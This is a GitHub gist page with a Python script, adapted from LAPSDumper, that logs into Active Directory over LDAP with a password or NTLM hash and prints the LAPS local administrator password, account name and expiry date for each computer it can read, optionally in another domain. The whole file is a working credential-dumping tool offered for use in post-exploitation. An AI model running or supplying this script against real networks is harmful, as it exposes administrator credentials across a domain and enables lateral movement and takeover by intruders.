-
-
Save jgoosey/9b8f94be19dad4ee62652fd595796fb2 to your computer and use it in GitHub Desktop.
Modified version of https://github.com/n00py/LAPSDumper and https://gist.github.com/jstnkndy/51fc44d95e4f8f5efb1b76a9d6cf920a to allow cross domain targeting + expiration time
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE | |
from datetime import datetime | |
import argparse | |
parser = argparse.ArgumentParser(description='Dump LAPS Passwords') | |
parser.add_argument('-u','--username', help='username for LDAP', required=True) | |
parser.add_argument('-p','--password', help='password for LDAP (or LM:NT hash)',required=True) | |
parser.add_argument('-l','--ldapserver', help='LDAP server (or domain)', required=False) | |
parser.add_argument('-d','--domain', help='Domain', required=True) | |
parser.add_argument('-t', '--target', help="Target Domain", required=False) | |
def base_creator(domain): | |
search_base = "" | |
base = domain.split(".") | |
for b in base: | |
search_base += "DC=" + b + "," | |
return search_base[:-1] | |
def main(): | |
args = parser.parse_args() | |
if args.ldapserver: | |
s = Server(args.ldapserver, get_info=ALL) | |
else: | |
s = Server(args.domain, get_info=ALL) | |
c = Connection(s, user=args.domain + "\\" + args.username, password=args.password, authentication=NTLM, auto_bind=True) | |
if args.target: | |
targetdomain = base_creator(args.target) | |
else: | |
targetdomain = base_creator(args.domain) | |
c.search(search_base=targetdomain, search_filter='(&(objectCategory=computer)(ms-MCS-AdmPwd=*))',attributes=['ms-MCS-AdmPwd','SAMAccountname','ms-Mcs-AdmPwdExpirationTime']) | |
for entry in c.entries: | |
epoch = (int(str(entry['ms-Mcs-AdmPwdExpirationTime']))/10000000) - 11644473600 | |
convertedTime = datetime.fromtimestamp(epoch).strftime("%m-%d-%Y") | |
print (str(entry['sAMAccountName']) +":"+ str(entry['ms-Mcs-AdmPwd']) +":"+ convertedTime) | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment